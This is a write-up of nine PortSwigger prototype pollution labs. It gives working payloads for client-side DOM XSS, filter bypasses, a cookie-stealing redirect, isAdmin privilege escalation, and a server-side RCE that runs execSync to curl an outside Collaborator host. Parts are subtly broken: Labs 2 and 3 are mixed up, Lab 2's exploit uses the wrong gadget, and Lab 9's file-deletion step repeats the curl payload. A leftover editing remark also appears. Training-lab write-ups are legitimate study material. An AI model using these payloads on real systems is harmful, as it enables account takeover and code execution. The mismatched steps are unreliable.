Labs Covered
This write-up focuses on the following PRACTITIONER-level labs from the PortSwigger Web Security Academy related to Prototype Pollution:
1 Client-side prototype pollution via browser APIs
This lab demonstrates how attackers can pollute JavaScript object prototypes using browser APIs to influence client-side behavior.
2 DOM XSS via client-side prototype pollution
This lab shows how prototype pollution can be leveraged to achieve DOM-based Cross-site Scripting (XSS).
3 DOM XSS via an alternative prototype pollution vector
This lab demonstrates achieving DOM XSS through less common prototype pollution vectors.
4 Client-side prototype pollution via flawed sanitization
This lab explores how flawed sanitization can allow prototype pollution attacks on the client side.
5 Client-side prototype pollution in third-party libraries
This lab covers prototype pollution vulnerabilities introduced by insecure third-party JavaScript libraries.
6 Privilege escalation via server-side prototype pollution
This lab demonstrates how attackers can leverage prototype pollution on the server side to escalate privileges.
7 Detecting server-side prototype pollution without polluted property reflection
This lab shows how attackers can identify server-side prototype pollution even when the application does not reflect polluted properties.
8 Bypassing flawed input filters for server-side prototype pollution
This lab demonstrates bypassing input validation filters to exploit server-side prototype pollution vulnerabilities.
9 Remote code execution via server-side prototype pollution
This lab demonstrates how server-side prototype pollution can lead directly to remote code execution.
LAB 1 - Client-side prototype pollution via browser APIs
Lab Description
Solution
Find a prototype pollution source
- In your browser, try polluting
Object.prototypeby injecting an arbitrary property via the query string:/?__proto__[foo]=bar - Open the browser DevTools panel and go to the Console tab.
-
Enter
Object.prototype. Study the properties of the returned object and observe that your injectedfooproperty has been added. You’ve successfully found a prototype pollution source.
Identify a gadget
- In the browser DevTools panel, go to the Sources tab.
- Study the JavaScript files that are loaded by the target site and look for any DOM XSS sinks.
- In
searchLoggerConfigurable.js, notice that if theconfigobject has atransport_urlproperty, this is used to dynamically append a script to the DOM. - Observe that a
transport_urlproperty is defined for theconfigobject, so this doesn’t appear to be vulnerable. -
Observe that the next line uses the
Object.defineProperty()method to make thetransport_urlunwritable and unconfigurable. However, notice that it doesn’t define avalueproperty.
Craft an exploit
- Using the prototype pollution source you identified earlier, try injecting an arbitrary
valueproperty:/?__proto__[value]=foo -
In the browser DevTools panel, go to the Elements tab and study the HTML content of the page. Observe that a
<script>element has been rendered on the page, with thesrcattribute set tofoo.
Modify the payload in the URL to inject an XSS proof-of-concept. For example, you can use a data: URL as follows:
/?__proto__[value]=data:,alert(1);
Observe that alert(1) is called and the lab is solved.
DOM Invader solution:
Load the lab in Burp’s built-in browser. Enable DOM Invader and enable the prototype pollution option.
Open the browser DevTools panel, go to the DOM Invader tab, then reload the page.
Observe that DOM Invader has identified two prototype pollution vectors in the search property (i.e. the query string).
Click on the test to see the prototype source.
Now we can see the prototype source after clicking on the test.
Click Scan for gadgets. A new tab opens in which DOM Invader begins scanning for gadgets using the selected source.
When the scan is complete, open the DevTools panel in the same tab as the scan, then go to the DOM Invader tab.
Observe that DOM Invader has successfully accessed the script.src sink via the value gadget.
Click Exploit. DOM Invader automatically generates a proof-of-concept exploit and calls alert(1).
We can see the above payload url encoded we decode to see the payload
The lab is solved after the alert.
LAB 3 - DOM XSS via an alternative prototype pollution vector
Lab Description
Solution
Find a prototype pollution source
-
In your browser, try polluting Object.prototype by injecting an arbitrary property via the query string:
/?__proto__[foo]=bar - Open the browser DevTools panel and go to the Console tab.
- Enter Object.prototype.
- Study the properties of the returned object. Observe that it now has a foo property with the value bar. You’ve successfully found a prototype pollution source.
Identify a gadget:
1 In the browser DevTools panel, go to the Sources tab. 2 Study the JavaScript files that are loaded by the target site and look for any DOM XSS sinks. 3 In searchLogger.js, notice that if the config object has a transport_url property, this is used to dynamically append a script to the DOM. 4 Notice that no transport_url property is defined for the config object. This is a potential gadget for controlling the src of the **
Craft an exploit
- Using the prototype pollution source you identified earlier, try injecting an arbitrary transport_url property:
/?__proto__[transport_url]=foo - In the browser DevTools panel, go to the Elements tab and study the HTML content of the page. Observe that a
Modify the payload in the URL to inject an XSS proof-of-concept. For example, you can use a data: URL as follows:
/?__proto__[transport_url]=data:,alert(1);
DOM Invader solution:
Open the lab in Burp’s built-in browser.Enable DOM Invader and enable the prototype pollution option.
Observe that DOM Invader has identified two prototype pollution vectors in the search property i.e. the query string. And Click Scan for gadgets. A new tab opens in which DOM Invader begins scanning for gadgets using the selected source
When the scan is complete, open the DevTools panel in the same tab as the scan, then go to the DOM Invader tab.
Observe that DOM Invader has successfully accessed the script.src sink via the transport_url gadget.
And then lick Exploit. DOM Invader automatically generates a proof-of-concept exploit and calls alert(1).
Clicking on expliot generate alert.
And after one is alert lab is solved.
LAB 2 - DOM XSS via client-side prototype pollution
Lab Description
Solution
Find a prototype pollution source
- In your browser, try polluting
Object.prototypeby injecting an arbitrary property via the query string:/?__proto__[foo]=bar
-
Open the browser DevTools panel and go to the Console tab.
-
Enter
Object.prototype. -
Study the properties of the returned object and observe that your injected
fooproperty has not been added. -
Back in the query string, try using an alternative prototype pollution vector:
/?__proto__.foo=bar -
In the console, enter
Object.prototypeagain. Notice that it now has its ownfooproperty with the valuebar. You’ve successfully found a prototype pollution source. -
In the console, enter
Object.prototypeagain. Notice that it now has its ownfooproperty with the valuebar. You’ve successfully found a prototype pollution source.
Identify a gadget
- In the browser DevTools panel, go to the Sources tab.
- Study the JavaScript files that are loaded by the target site and look for any DOM XSS sinks.
- Notice that there is an
eval()sink insearchLoggerAlternative.js. - Notice that the
manager.sequenceproperty is passed toeval(), but this isn’t defined by default.
Craft an exploit
- Using the prototype pollution source you identified earlier, try injecting an arbitrary transport_url property:
/?__proto__[transport_url]=foo2 In the browser DevTools panel, go to the Elements tab and study the HTML content of the page. Observe that a
Modify the payload in the URL to inject an XSS proof-of-concept. For example, you can use a data: URL as follows:
/?__proto__[transport_url]=data:,alert(1);
Observe that the alert(1) is called and the lab is solved.
DOM Invader solution
- Load the lab in Burp’s built-in browser.
- Enable DOM Invader and enable the prototype pollution option.
- Open the browser DevTools panel, go to the DOM Invader tab, and reload the page.
Observe that DOM Invader has identified a prototype pollution vector in the search property, i.e., the query string.
Click Scan for gadgets. A new tab opens in which DOM Invader begins scanning for gadgets using the selected source.
When the scan is complete, open the DevTools panel in the same tab as the scan, then go to the DOM Invader tab.
Observe that DOM Invader has successfully accessed the eval() sink via the sequence gadget.
Click Exploit. Observe that DOM Invader’s auto-generated proof-of-concept doesn’t trigger an alert().
Decode the exploit find in dom invader.
Now follow all the Step of manual in which used delimentor to exclude the part 0f 1 and generate alert
LAB 4 - Client-side prototype pollution via flawed sanitization
Lab Description
Solution
Find a prototype pollution source
In your browser, try polluting Object.prototype by injecting an arbitrary property via the query string:
/?__proto__[foo]=bar
Open the browser DevTools panel and go to the Console tab.
Enter Object.prototype.
Study the properties of the returned object and observe that your injected foo property has not been added.
Try alternative prototype pollution vectors. For example:
/?__proto__.foo=bar/?constructor.prototype.foo=bar
Observe that in each instance, Object.prototype is not modified.
Using other prototype pollution
Using other prototype pollution vectors
Go to the Sources tab and study the JavaScript files that are loaded by the target site.
Notice that deparamSanitized.js uses the sanitizeKey() function defined in searchLoggerFiltered.js to strip potentially dangerous property keys based on a blocklist. However, it does not apply this filter recursively.
Back in the URL, try injecting one of the blocked keys in such a way that the dangerous key remains after the sanitization process. For example:
/?__pro__proto__to__[foo]=bar
/?__pro__proto__to__.foo=bar
/?constconstructorructor[protoprototypetype][foo]=bar
/?constconstructorructor.protoprototypetype.foo=bar
In the console, enter Object.prototype again.
Notice that it now has its own foo property with the value bar. You’ve successfully found a prototype pollution source and bypassed the website’s key sanitization.
The first prototype works for us.
Identify a gadget
Study the JavaScript files again and notice that searchLogger.js dynamically appends a script to the DOM using the config object’s transport_url property, if present.
Notice that no transport_url property is set for the config object — this is a potential gadget.
Using the prototype pollution source you identified earlier, try injecting an arbitrary transport_url property:
/?__pro__proto__to__[transport_url]=foo
In the browser DevTools panel, go to the Elements tab and study the HTML content of the page.
Observe that a <script> element has been rendered on the page, with the src attribute set to foo.
Modify the payload in the URL to inject an XSS proof-of-concept.
For example, you can use a data: URL as follows:
/?__pro__proto__to__[transport_url]=data:,alert(1);
Observe that the alert(1) is called and the lab is solved.
LAB 5 - Client-side prototype pollution in third-party libraries
Lab Description
Solution
Load the lab in Burp’s built-in browser.
Enable DOM Invader and enable the prototype pollution option.
Open the browser DevTools panel, go to the DOM Invader tab, then reload the page.
Observe that DOM Invader has identified two prototype pollution vectors in the hash property, i.e., the URL fragment string.
Now click on test to see the source of the prototype pollution that we have found.
As we can see in blue, we have found the source of prototype pollution.
We also tested the same prototype above in the browser instance of Burp’s DOM Invader browser.
After that, we clicked on Scan Gadget.
When the scan is complete, open the DevTools panel in the same tab as the scan, then go to the DOM Invader tab.
Observe that DOM Invader has successfully accessed the setTimeout() sink via the hitCallback gadget.
Click Exploit. DOM Invader automatically generates a proof-of-concept exploit and calls alert(1).
We can see that clicking Exploit gives us the gadget to exploit and generates the alert.
Disable DOM Invader. In the browser, go to the lab’s Exploit Server. In the Body section, craft an exploit that will navigate the victim to a malicious URL as follows:
<script>
location="https://YOUR-LAB-ID.web-security-academy.net/#__proto__[hitCallback]=alert(document.cookie)"
</script>
Test the exploit on yourself, making sure that you’re navigated to the lab’s home page and that the alert(document.cookie) payload is triggered.
It triggered the alert in the test, but not when I delivered it — the lab was not solved.
So, I URL-encoded the bracketed payload, delivered it to the victim, and then the lab was solved.
And the lab is solved.
LAB 6 - Privilege escalation via server-side prototype pollution
Lab Description
Solution
Study the address change feature
Log in and visit your account page. Submit the form for updating your billing and delivery address.
In Burp, go to the Proxy > HTTP history tab and find the POST /my-account/change-address request.
Observe that when you submit the form, the data from the fields is sent to the server as JSON.
Notice that the server responds with a JSON object that appears to represent your user. This has been updated to reflect your new address information.
Send the request to Burp Repeater.
After logging in, we can see the page below.
Change the country to Pak and submit it.
Below we can see the information after updating the country.
In Burp, go to the Proxy > HTTP history tab and find the POST /my-account/change-address request.
Observe that when you submit the form, the data from the fields is sent to the server as JSON.
Notice that the server responds with a JSON object that appears to represent your user. This has been updated to reflect your new address information.
Below we can see the request sent to Repeater.
Identify a prototype pollution source
In Repeater, add a new property to the JSON with the name __proto__, containing an object with an arbitrary property:
"__proto__": {
"foo": "bar"
}
Send the request.
Notice that the object in the response now includes the arbitrary property that you injected, but no __proto__ property.
This strongly suggests that you have successfully polluted the object’s prototype and that your property has been inherited via the prototype chain.
Identify a gadget
- Look at the additional properties in the response body.
-
Notice the
isAdminproperty, which is currently set tofalse.
Craft an exploit
- Modify the request to try polluting the prototype with your own
isAdminproperty:
"__proto__": {
"isAdmin": true
}
- Send the request. Notice that the
isAdminvalue in the response has been updated. This suggests that the object doesn’t have its ownisAdminproperty but has instead inherited it from the polluted prototype.
Note: Remember to add a comma to close the sessionID.
In the browser, refresh the page and confirm that you now have a link to access the admin panel.
Go to the admin panel and delete carlos to solve the lab.
LAB 7 - Detecting server-side prototype pollution without polluted property reflection
Lab Description
Solution
Log in and visit your account page.
Submit the form for updating your billing and delivery address.
Updated account
In Burp, go to the Proxy > HTTP history tab and find the POST /my-account/change-address request. Send it to Repeater.
In Repeater, add a new property to the JSON with the name __proto__, containing an object with an arbitrary property:
Send the request. Observe that the object in the response does not reflect the injected property. However, this doesn’t necessarily mean that the application isn’t vulnerable to prototype pollution.
Identify a prototype pollution source
In the request, modify the JSON in a way that intentionally breaks the syntax. For example, delete a comma from the end of one of the lines.
Send the request. Observe that you receive an error response in which the body contains a JSON error object.
Notice that although you received a 500 error response, the error object contains a status property with the value 400.
In the request, make the following changes:
- Fix the JSON syntax by reversing the changes that triggered the error.
-
Modify your injected property to try polluting the prototype with your own distinct
statusproperty. Remember that this must be between 400 and 599.
- Send the request and confirm that you receive the normal response containing your user object.
- Intentionally break the JSON syntax again and reissue the request (we removed the comma from
sessionID).
Notice that this time, although you triggered the same error, the status and statusCode properties in the JSON response match the arbitrary error code that you injected into Object.prototype.
This strongly suggests that you have successfully polluted the prototype and the lab is solved.
LAB 8 - Bypassing flawed input filters for server-side prototype pollution
Lab Description
Solution
Study the address change feature
Log in and visit your account page.
Submit the form for updating your billing and delivery address.
In Burp, go to the Proxy > HTTP history tab and find the POST /my-account/change-address request.
Observe that when you submit the form, the data from the fields is sent to the server as JSON.
Notice that the server responds with a JSON object that appears to represent your user. This has been updated to reflect your new address information.
Send the request to Burp Repeater.
Now we have used the payload, but it is reflected in the response.
Identify a prototype pollution source
In Repeater, add a new property to the JSON with the name __proto__, containing an object with a json spaces property:
"__proto__": { "json spaces": 10 }
The response remains unaffected.
Modify the request to try polluting the prototype via the constructor property instead:
"constructor": {
"prototype": {
"json spaces": 10
}
}
Resend the request. In the Response panel, go to the Raw tab. This time, notice that the JSON indentation has increased based on the value of your injected property. This strongly suggests that you have successfully polluted the prototype.
Identify a gadget
- Look at the additional properties in the response body.
- Notice the
isAdminproperty, which is currently set tofalse.
Craft an exploit
- Modify the request to try polluting the prototype with your own
isAdminproperty:
"constructor": {
"prototype": {
"isAdmin": true
}
}
-
Send the request. Notice that the
isAdminvalue in the response has been updated. This suggests that the object doesn’t have its ownisAdminproperty but has instead inherited it from the polluted prototype.
In the browser, refresh the page and confirm that you now have a link to access the admin panel. Go to the admin panel and delete Carlos to solve the lab.
LAB 9 - Remote code execution via server-side prototype pollution
Lab Description
Solution
Here’s your write-up with corrected grammar and syntax — content has not been changed:
Study the address change feature
- Log in and visit your account page.
Submit the form for updating your billing and delivery address.
In Burp, go to the Proxy > HTTP history tab and find the POST /my-account/change-address request.
Observe that when you submit the form, the data from the fields is sent to the server as JSON.
Notice that the server responds with a JSON object that appears to represent your user. This has been updated to reflect your new address information.
Send the request to Burp Repeater.
Identify a prototype pollution source
- In Repeater, add a new property to the JSON with the name
__proto__, containing an object with ajson spacesproperty:
"__proto__": {
"foo": "bar"
}
OR
"__proto__": {
"json spaces": 10
}
Send the request.
In the response, see that "bar" is injected, confirming prototype pollution.
Probe for remote code execution
In the browser, go to the admin panel and observe that there’s a button for running maintenance jobs.
Click the button and observe that this triggers background tasks that clean up the database and filesystem. This is a classic example of functionality that may spawn Node.js child processes.
After clicking Maintenance, the page below will show up.
We can also see the HTTP request of the maintenance job in the below image.
Try polluting the prototype with a malicious execArgv property that adds the --eval argument to the spawned child process.
Use this to call the execSync() sink, passing in a command that triggers an interaction with the public Burp Collaborator server.
For example:
"__proto__": {
"execArgv": [
"--eval=require('child_process').execSync('curl https://YOUR-COLLABORATOR-ID.oastify.com')"
]
}
Send the request.
In the browser, go to the admin panel and trigger the maintenance jobs again.
Notice that these jobs have both failed this time.
In Burp, go to the Collaborator tab and poll for interactions. Observe that you have received several DNS interactions, confirming remote code execution.
Craft an exploit
- In Repeater, replace the
curlcommand with a command to delete Carlos’s file:
"__proto__": {
"execArgv": [
"--eval=require('child_process').execSync('curl https://YOUR-COLLABORATOR-ID.oastify.com')"
]
}
Send the request.
Go back to the admin panel and trigger the maintenance jobs again.
Carlos’s file is deleted and the lab is solved.
Lab is solved.